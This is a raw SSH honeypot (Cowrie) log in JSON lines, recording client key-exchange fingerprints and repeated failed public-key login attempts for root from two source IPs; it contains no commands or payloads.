{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:24.929844Z","src_ip":"45.148.145.60","session":"ff7e7d28c090","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:52:2e:49:af:c2:4b:1f:55:17:df:a3:0a:89:df:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLETQC+0sdkGWDqVKtzkkLq303WU6M0ulf3eHVX/fkcQNMOdJgQpKGdKDJtW08JH0sDI4UH+9zgNDNuYRtgjcUE7dDAKk4D4BDNHYY+fGyRaT7ho6fLXKMp76vVpIX5euoCBAYwPTTPDdjZl9VRGk0fCaSAkUpLaW0DzKLcKqqphNBOV/g0Rab+8o9nUi16WTDkTC0ZXajEAPxPyQ7CHEFMc/1sbY2ekkPOajDD+xemL3Re8BrIb+vBLZ/bRDEALDy85uUNtFIsBjl4xNuGma8JzYDQTnV1Ry60ByJqAMid3ppmMh7WDUSf0LoC6xm1W9co6NJ/PUOATjeXJunMC3b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:52:2e:49:af:c2:4b:1f:55:17:df:a3:0a:89:df:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.331906Z","src_ip":"45.148.145.60","session":"ff7e7d28c090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:52:2e:49:af:c2:4b:1f:55:17:df:a3:0a:89:df:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLETQC+0sdkGWDqVKtzkkLq303WU6M0ulf3eHVX/fkcQNMOdJgQpKGdKDJtW08JH0sDI4UH+9zgNDNuYRtgjcUE7dDAKk4D4BDNHYY+fGyRaT7ho6fLXKMp76vVpIX5euoCBAYwPTTPDdjZl9VRGk0fCaSAkUpLaW0DzKLcKqqphNBOV/g0Rab+8o9nUi16WTDkTC0ZXajEAPxPyQ7CHEFMc/1sbY2ekkPOajDD+xemL3Re8BrIb+vBLZ/bRDEALDy85uUNtFIsBjl4xNuGma8JzYDQTnV1Ry60ByJqAMid3ppmMh7WDUSf0LoC6xm1W9co6NJ/PUOATjeXJunMC3b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.335696Z","src_ip":"45.148.145.60","session":"ff7e7d28c090","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:95:e1:9e:99:40:aa:c7:e2:d4:e8:a7:f2:4e:92:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSMzU1K2zYfYxD87rZNlzGVnD0NJ0rDh/2NnohAjgN6NZTMgwSUObkqhQIbnbjt2cK23NUFdISAF5WmZkByX3kyYf8u9otkzEKMpCTm7qpyaloatObQczEYJ5aIBQ63NP+MyqJW36AYMQhxs56r2niYceKQH0VoXdnD3xqVRKhnh0bjO1ArxC63u0+dfID0FUXViLSTrgBiirjN+OAFprcxqUqB7t9w9HNqGsYhh0OFFM9Ck4+ri5YO5zPZr1i9OrY4SJYFl1/7fEpMnOMSvGXolBRWqf1VUEKpxok/HMQdDymX3hmLVlg2dJOEbyBHBw9cVH+n030a9hPM//IhL5G02H+wg4iChenkP3cg6DS15c7t7YjPhjJjyVQG+h2SW0k83IXtWYJeh8bohwm3/NqVz8UXrMc3LMXe1KhkfMY5mbZQyH3MUH7oekjkU/Z8oj+bVVRPJPqB/epBdbB1ua3HMSKQ/JwTO7ffn76GYWeOFyB3JjZ5PXtK1pbNE92Ki8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:95:e1:9e:99:40:aa:c7:e2:d4:e8:a7:f2:4e:92:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.352951Z","src_ip":"45.148.147.191","session":"50813273fc12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:95:e1:9e:99:40:aa:c7:e2:d4:e8:a7:f2:4e:92:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSMzU1K2zYfYxD87rZNlzGVnD0NJ0rDh/2NnohAjgN6NZTMgwSUObkqhQIbnbjt2cK23NUFdISAF5WmZkByX3kyYf8u9otkzEKMpCTm7qpyaloatObQczEYJ5aIBQ63NP+MyqJW36AYMQhxs56r2niYceKQH0VoXdnD3xqVRKhnh0bjO1ArxC63u0+dfID0FUXViLSTrgBiirjN+OAFprcxqUqB7t9w9HNqGsYhh0OFFM9Ck4+ri5YO5zPZr1i9OrY4SJYFl1/7fEpMnOMSvGXolBRWqf1VUEKpxok/HMQdDymX3hmLVlg2dJOEbyBHBw9cVH+n030a9hPM//IhL5G02H+wg4iChenkP3cg6DS15c7t7YjPhjJjyVQG+h2SW0k83IXtWYJeh8bohwm3/NqVz8UXrMc3LMXe1KhkfMY5mbZQyH3MUH7oekjkU/Z8oj+bVVRPJPqB/epBdbB1ua3HMSKQ/JwTO7ffn76GYWeOFyB3JjZ5PXtK1pbNE92Ki8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.356287Z","src_ip":"45.148.147.191","session":"50813273fc12","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:20:b6:95:42:8d:59:07:b6:cc:a1:3f:4b:67:42:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCKFSyhJg2zIp0JUwBPDxX6bMzpfoazYxUqW5GQvjgdgs8IuRuDHtoaJo/hC0xP1QwQmPr2a/9ssUkHjYmgK+vXECnllLixoysDS1/L+Bv6uOojVlHT3kBUvUlDMBhzlKxOPPySl7pxCCr/CMYrFx5P/9gA+JsbhTbZ/NVtdRHD9HWjr3ifwXyJJvfxESII8G6PTCtK8BGel5i1E4CRLHwHgBMnDrN0U5BRIzXVLryVSHmQZDvJkGs1VOmTrrsTf14yekiW6u+O+xmqTGsLSLQVRd40c4IfyfA6JmfQkOauKE2Z56MAC1l/ukxB+t9aoVPdM02jAoHO7LP0QfTxfFVF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:20:b6:95:42:8d:59:07:b6:cc:a1:3f:4b:67:42:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.421257Z","src_ip":"45.148.145.60","session":"ff7e7d28c090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:20:b6:95:42:8d:59:07:b6:cc:a1:3f:4b:67:42:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCKFSyhJg2zIp0JUwBPDxX6bMzpfoazYxUqW5GQvjgdgs8IuRuDHtoaJo/hC0xP1QwQmPr2a/9ssUkHjYmgK+vXECnllLixoysDS1/L+Bv6uOojVlHT3kBUvUlDMBhzlKxOPPySl7pxCCr/CMYrFx5P/9gA+JsbhTbZ/NVtdRHD9HWjr3ifwXyJJvfxESII8G6PTCtK8BGel5i1E4CRLHwHgBMnDrN0U5BRIzXVLryVSHmQZDvJkGs1VOmTrrsTf14yekiW6u+O+xmqTGsLSLQVRd40c4IfyfA6JmfQkOauKE2Z56MAC1l/ukxB+t9aoVPdM02jAoHO7LP0QfTxfFVF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.424847Z","src_ip":"45.148.145.60","session":"ff7e7d28c090","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:4a:fd:1a:32:dc:67:94:5d:e5:5a:74:fc:c6:94:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCa3xemJGlIvMOffl4EwWxxvZej54lTVxxpS5nJdfyr5HO3T0KRRKx0Bhfv/BTQBzcXPUN+UD6DpvmWImXKTpYJgU7AmpzqVLM2GN9vB4EF9DSJPpd3jboxFNJSZ2/xoGWUWyQ5B3LVRdsJF+axu/REy8ocT7NsNu7cS3RJID2np3nroTDCma8/guIkA9TywJfzYD6pPP8zYoX1DW6tJcSoVMyONKuidmqr5r/11sJZ1GHXnYT9fJr/Bgv0hMghIhSieogv8tMyQENNqAC60h1vQ1PHcAOpY2j61KFOTUDzCTPTBG8PXaBbfdhIRnBaSVPhDtMPa1DbXy3zQ7Mw00cGYRDCh1tElnoPF+5hb9W5iwtG06FXUVzpHYIJwtfCB9IWqyvXL46mDWMtMvRPzHPkBq2PebtRtyRbVK6FOQKtZZ9Fbfd4oJ8UzH2W6eSL/KGlFkL14urn1EQuSyhzQW+bMsZROXM1d1lPgaLMpfiJbhV4R3QvjE5jKodFHvv+qQF71d9vlbN1fv8XwS6p3mRMCsWcy4pkh4crr8Gdu5+0xTuVMQ+rvYYW3Nhme04uephcpoOJsx7U3Q9342InJm7ukYoZaj6i+ZKcpyVNjVY1Ef2OSXu/PKF7M7Y1tVjATm8J8WnGZVQdP70I6J6JJdVH+zxKsRvXlPpnNfDIMug9hw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:4a:fd:1a:32:dc:67:94:5d:e5:5a:74:fc:c6:94:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.452055Z","src_ip":"45.148.147.191","session":"50813273fc12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:4a:fd:1a:32:dc:67:94:5d:e5:5a:74:fc:c6:94:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCa3xemJGlIvMOffl4EwWxxvZej54lTVxxpS5nJdfyr5HO3T0KRRKx0Bhfv/BTQBzcXPUN+UD6DpvmWImXKTpYJgU7AmpzqVLM2GN9vB4EF9DSJPpd3jboxFNJSZ2/xoGWUWyQ5B3LVRdsJF+axu/REy8ocT7NsNu7cS3RJID2np3nroTDCma8/guIkA9TywJfzYD6pPP8zYoX1DW6tJcSoVMyONKuidmqr5r/11sJZ1GHXnYT9fJr/Bgv0hMghIhSieogv8tMyQENNqAC60h1vQ1PHcAOpY2j61KFOTUDzCTPTBG8PXaBbfdhIRnBaSVPhDtMPa1DbXy3zQ7Mw00cGYRDCh1tElnoPF+5hb9W5iwtG06FXUVzpHYIJwtfCB9IWqyvXL46mDWMtMvRPzHPkBq2PebtRtyRbVK6FOQKtZZ9Fbfd4oJ8UzH2W6eSL/KGlFkL14urn1EQuSyhzQW+bMsZROXM1d1lPgaLMpfiJbhV4R3QvjE5jKodFHvv+qQF71d9vlbN1fv8XwS6p3mRMCsWcy4pkh4crr8Gdu5+0xTuVMQ+rvYYW3Nhme04uephcpoOJsx7U3Q9342InJm7ukYoZaj6i+ZKcpyVNjVY1Ef2OSXu/PKF7M7Y1tVjATm8J8WnGZVQdP70I6J6JJdVH+zxKsRvXlPpnNfDIMug9hw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.457062Z","src_ip":"45.148.147.191","session":"50813273fc12","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:bc:5f:22:2c:a9:08:29:8b:ec:8a:63:f0:cb:b4:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs2gDX9j3EWv0QpGPKAId+BO1lTvQWitoPjRRI0okFtYR0v9rHNBpYbOUd4+E757fJ+N6PNaZJwfq2wOEBXiBcM9EmXz7oQeAE+RK+0mfzAtBMdMUJGK6MAWGP0u17G/p2jnzyjFOrCzBoDqAjNKtIBe3KcM20BWXwBSYazRScqkYapdytP7PrITiVQBNGFW1fCnVv/emewx3ZpYpazr5dchYLP8Tug8Ve3TTf2WhEQw8weW8FNB0e16br62jKTLcXmZzwXGnYi3tacvbQPKC7Ub102PDGfU/bV8SCfm6pdQEbNF52WOeanKB+iO74WoNg2P+jQBG/Cwk9S7t+0g9H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:bc:5f:22:2c:a9:08:29:8b:ec:8a:63:f0:cb:b4:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.510331Z","src_ip":"45.148.145.60","session":"ff7e7d28c090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:bc:5f:22:2c:a9:08:29:8b:ec:8a:63:f0:cb:b4:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs2gDX9j3EWv0QpGPKAId+BO1lTvQWitoPjRRI0okFtYR0v9rHNBpYbOUd4+E757fJ+N6PNaZJwfq2wOEBXiBcM9EmXz7oQeAE+RK+0mfzAtBMdMUJGK6MAWGP0u17G/p2jnzyjFOrCzBoDqAjNKtIBe3KcM20BWXwBSYazRScqkYapdytP7PrITiVQBNGFW1fCnVv/emewx3ZpYpazr5dchYLP8Tug8Ve3TTf2WhEQw8weW8FNB0e16br62jKTLcXmZzwXGnYi3tacvbQPKC7Ub102PDGfU/bV8SCfm6pdQEbNF52WOeanKB+iO74WoNg2P+jQBG/Cwk9S7t+0g9H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.514007Z","src_ip":"45.148.145.60","session":"ff7e7d28c090","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:e2:3c:cc:b4:20:fa:8e:a8:97:a9:85:88:7b:a8:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDqjXvylfJvX3nLK/5svkfqRaZHZLQqT8LsahlI8CnfhYDw4v3bow8g5V6SobYT4gW61HD1Fxu6VynJlr8Oh4o/WvaL04wqgy8aJcVAlHTVcFa08g+/iSaO0eA+91tQJnrNbXZw0xZWcwj7NeKSzEfLDrcm0vyC341X5QQFnMaedppcmEUjfh6NxKs9RjNUXeYuiyqKRo7F1b1vbNaEbbjFRLyPYfBStjStxan512NXTbQpUJbYosOSDtgQNIeruqGPg+bmA86fg3eXe+VrzMQMnmuPzkjhWR6ycWByY/BqBwggfi7ikCZdNkbm1l1km0dvZtfvTocgu9ez0HzZ2BDG3p5tY3xtPjhXFmVwhqmvV/OiDJZHmU2bW062diwds6NwOemvbM05C5iVpUU7Y091rL3+wMwKEPBcS1SiOsybLZKehWuhugFI9f4lK/l3an80xXnshTX8/uVXDD3C5+/XeyYYmzwTQ9qhWQEk+v5pNvZyJVoVe9rPh6mflL8epFRjSE6ou8EKPKi0OOEj2uhZlQ5p9mFeqpnAUnuEw2HMBfphxDeyISD0TyJb7SmgBvdr348KV0RIfh2iWYrLGy8uMx5n9iw7FjAMSv5tISgd2QZcQMaFboK4Nvw2qSFrNdcDCdfpLEvUXKgvdMQn2utG/G5iaV1EtMNcsRHCQDUsQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:e2:3c:cc:b4:20:fa:8e:a8:97:a9:85:88:7b:a8:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.553807Z","src_ip":"45.148.147.191","session":"50813273fc12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:e2:3c:cc:b4:20:fa:8e:a8:97:a9:85:88:7b:a8:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDqjXvylfJvX3nLK/5svkfqRaZHZLQqT8LsahlI8CnfhYDw4v3bow8g5V6SobYT4gW61HD1Fxu6VynJlr8Oh4o/WvaL04wqgy8aJcVAlHTVcFa08g+/iSaO0eA+91tQJnrNbXZw0xZWcwj7NeKSzEfLDrcm0vyC341X5QQFnMaedppcmEUjfh6NxKs9RjNUXeYuiyqKRo7F1b1vbNaEbbjFRLyPYfBStjStxan512NXTbQpUJbYosOSDtgQNIeruqGPg+bmA86fg3eXe+VrzMQMnmuPzkjhWR6ycWByY/BqBwggfi7ikCZdNkbm1l1km0dvZtfvTocgu9ez0HzZ2BDG3p5tY3xtPjhXFmVwhqmvV/OiDJZHmU2bW062diwds6NwOemvbM05C5iVpUU7Y091rL3+wMwKEPBcS1SiOsybLZKehWuhugFI9f4lK/l3an80xXnshTX8/uVXDD3C5+/XeyYYmzwTQ9qhWQEk+v5pNvZyJVoVe9rPh6mflL8epFRjSE6ou8EKPKi0OOEj2uhZlQ5p9mFeqpnAUnuEw2HMBfphxDeyISD0TyJb7SmgBvdr348KV0RIfh2iWYrLGy8uMx5n9iw7FjAMSv5tISgd2QZcQMaFboK4Nvw2qSFrNdcDCdfpLEvUXKgvdMQn2utG/G5iaV1EtMNcsRHCQDUsQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.557860Z","src_ip":"45.148.147.191","session":"50813273fc12","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:2f:26:3c:f0:a1:6c:f7:07:f3:60:9c:d7:e4:5d:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlaByoHBzzPtO55Bu6SLcfXjXIaplSx4OgTV49u7Qwj7YF8OZanpUQ6OF+VDsHCtgkkaBKONFOLaa5LcpQLG3zJKh+IKqHDBulSrUlsUkbPz62iWKOtaaFEKEnqCE0BO867z0Pd20EOScUqNjbRHlWQe4BPnbt3p6U1A4eifSeAR/VDMjDcis5CrcYs6R2+1ZuHwpM1lk2xL9iHV9p4n4UwO3etUXulTlxdpV2YfP9szf+JiUZ6iOChNQ6AHFjaDyP8KKMaAWU4/TNUDw4JHuEK4HOD605dA7JyPfAivib924iVNL40rQqWiY6tHS/XvVez8LDv6Xc+M7xics4kEWV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:2f:26:3c:f0:a1:6c:f7:07:f3:60:9c:d7:e4:5d:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.599044Z","src_ip":"45.148.145.60","session":"ff7e7d28c090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:2f:26:3c:f0:a1:6c:f7:07:f3:60:9c:d7:e4:5d:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlaByoHBzzPtO55Bu6SLcfXjXIaplSx4OgTV49u7Qwj7YF8OZanpUQ6OF+VDsHCtgkkaBKONFOLaa5LcpQLG3zJKh+IKqHDBulSrUlsUkbPz62iWKOtaaFEKEnqCE0BO867z0Pd20EOScUqNjbRHlWQe4BPnbt3p6U1A4eifSeAR/VDMjDcis5CrcYs6R2+1ZuHwpM1lk2xL9iHV9p4n4UwO3etUXulTlxdpV2YfP9szf+JiUZ6iOChNQ6AHFjaDyP8KKMaAWU4/TNUDw4JHuEK4HOD605dA7JyPfAivib924iVNL40rQqWiY6tHS/XvVez8LDv6Xc+M7xics4kEWV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.602647Z","src_ip":"45.148.145.60","session":"ff7e7d28c090","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:0d:9e:2d:71:17:dc:a8:cc:77:ba:9a:35:38:f7:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYQCWPSzS2F1iFmjkEAGoYaguA98U/Oz3gpRL2WagGUDI1unQ72HCsZJG1JIopdzHyt6bbweWVpssGvRSZrpko5gDcvwMF9hRM9zjQGi5CMNASwXN42nrb0lnhBuoP7fmChgdMP5DOQAPPbh4Grey98rMAc+KqX9jLQBLrpFvMhPBHpflk4Xjo1Iow/NlK7Lx/+FzIP+XuLXfuTXATEouaimuu7Ll/3bE7KoVDlS7LwbCOOiafxU7zNmqV2lfg7zhMREvr06Wy1S9Em9yIinvdzSyOeexnM4ml1ZUjBrX0BJnQejgJUkEHVUNhutrdNfdI54f/KlS/IZuR3H0wOYgkV4kjKNFgL9RIppb5B5FzXB9oeCoKewnhMMAD8gG2QGp9JcVTOI3PoVqrZjKYe9UdLkPXn+07sWT/mzEGqvewZWY2aCzyYxG+pfQK6CLtSoaHf64Twm2r52aZcSGfDeLxYIow+TJYOmgmXyYLw+CTTVK+s3aq/xRCSFjZBLfffpQr++oh739N6FwU5YYqKKg5bTxdI6h50Ca6VfBZRK5dE2m4Z9+LyGEQSEN7u40FMTzHmNKtshFGjtfhMBDwdG/M+DrtFCvtOjXuEnmb7Qu7nKP1zoJwOY+V2BPF5hbi8028jIgs6W/7AMqaBR8R9EHtQokEhn9W+GggLiEnL0w3MQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:0d:9e:2d:71:17:dc:a8:cc:77:ba:9a:35:38:f7:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.653962Z","src_ip":"45.148.147.191","session":"50813273fc12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:0d:9e:2d:71:17:dc:a8:cc:77:ba:9a:35:38:f7:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYQCWPSzS2F1iFmjkEAGoYaguA98U/Oz3gpRL2WagGUDI1unQ72HCsZJG1JIopdzHyt6bbweWVpssGvRSZrpko5gDcvwMF9hRM9zjQGi5CMNASwXN42nrb0lnhBuoP7fmChgdMP5DOQAPPbh4Grey98rMAc+KqX9jLQBLrpFvMhPBHpflk4Xjo1Iow/NlK7Lx/+FzIP+XuLXfuTXATEouaimuu7Ll/3bE7KoVDlS7LwbCOOiafxU7zNmqV2lfg7zhMREvr06Wy1S9Em9yIinvdzSyOeexnM4ml1ZUjBrX0BJnQejgJUkEHVUNhutrdNfdI54f/KlS/IZuR3H0wOYgkV4kjKNFgL9RIppb5B5FzXB9oeCoKewnhMMAD8gG2QGp9JcVTOI3PoVqrZjKYe9UdLkPXn+07sWT/mzEGqvewZWY2aCzyYxG+pfQK6CLtSoaHf64Twm2r52aZcSGfDeLxYIow+TJYOmgmXyYLw+CTTVK+s3aq/xRCSFjZBLfffpQr++oh739N6FwU5YYqKKg5bTxdI6h50Ca6VfBZRK5dE2m4Z9+LyGEQSEN7u40FMTzHmNKtshFGjtfhMBDwdG/M+DrtFCvtOjXuEnmb7Qu7nKP1zoJwOY+V2BPF5hbi8028jIgs6W/7AMqaBR8R9EHtQokEhn9W+GggLiEnL0w3MQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.657526Z","src_ip":"45.148.147.191","session":"50813273fc12","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:06:75:45:26:2b:ab:50:02:af:78:f2:e1:00:fe:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw0O0pAKEQQ3EvAV2t2U4F2nWANrVtZHILjUdT2OsE/oINVRD0u15XJFzodfbZglfyD/eTbXg/Bohti6llpdZL9d/SW7ZdUx2yXUiihUb8iDBAMc7zOmLM/d/FkfbsFgX/ALSFKoLSSrezBqLZgI0aKCqwF2pMMLLPkT8Krjb8ACamMdEhuSCxx0BUXyu9j+j0eIIc3CSbopJT5y+WQ4KED7pGo3icBsztUKuoJlgS/guVKnZuVCoGPKrj+qzP+4pJUCSIsoqkrYwS1pljFfD3bN3vHzjxoHyNVVRmaayxN+f497pnjAP/vrFWN3Ye7WDroht2OaPIBwfTWDWUhVYgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:06:75:45:26:2b:ab:50:02:af:78:f2:e1:00:fe:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.687629Z","src_ip":"45.148.145.60","session":"ff7e7d28c090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:06:75:45:26:2b:ab:50:02:af:78:f2:e1:00:fe:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw0O0pAKEQQ3EvAV2t2U4F2nWANrVtZHILjUdT2OsE/oINVRD0u15XJFzodfbZglfyD/eTbXg/Bohti6llpdZL9d/SW7ZdUx2yXUiihUb8iDBAMc7zOmLM/d/FkfbsFgX/ALSFKoLSSrezBqLZgI0aKCqwF2pMMLLPkT8Krjb8ACamMdEhuSCxx0BUXyu9j+j0eIIc3CSbopJT5y+WQ4KED7pGo3icBsztUKuoJlgS/guVKnZuVCoGPKrj+qzP+4pJUCSIsoqkrYwS1pljFfD3bN3vHzjxoHyNVVRmaayxN+f497pnjAP/vrFWN3Ye7WDroht2OaPIBwfTWDWUhVYgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:08:25.692724Z","src_ip":"45.148.145.60","session":"ff7e7d28c090","protocol":"ssh"}
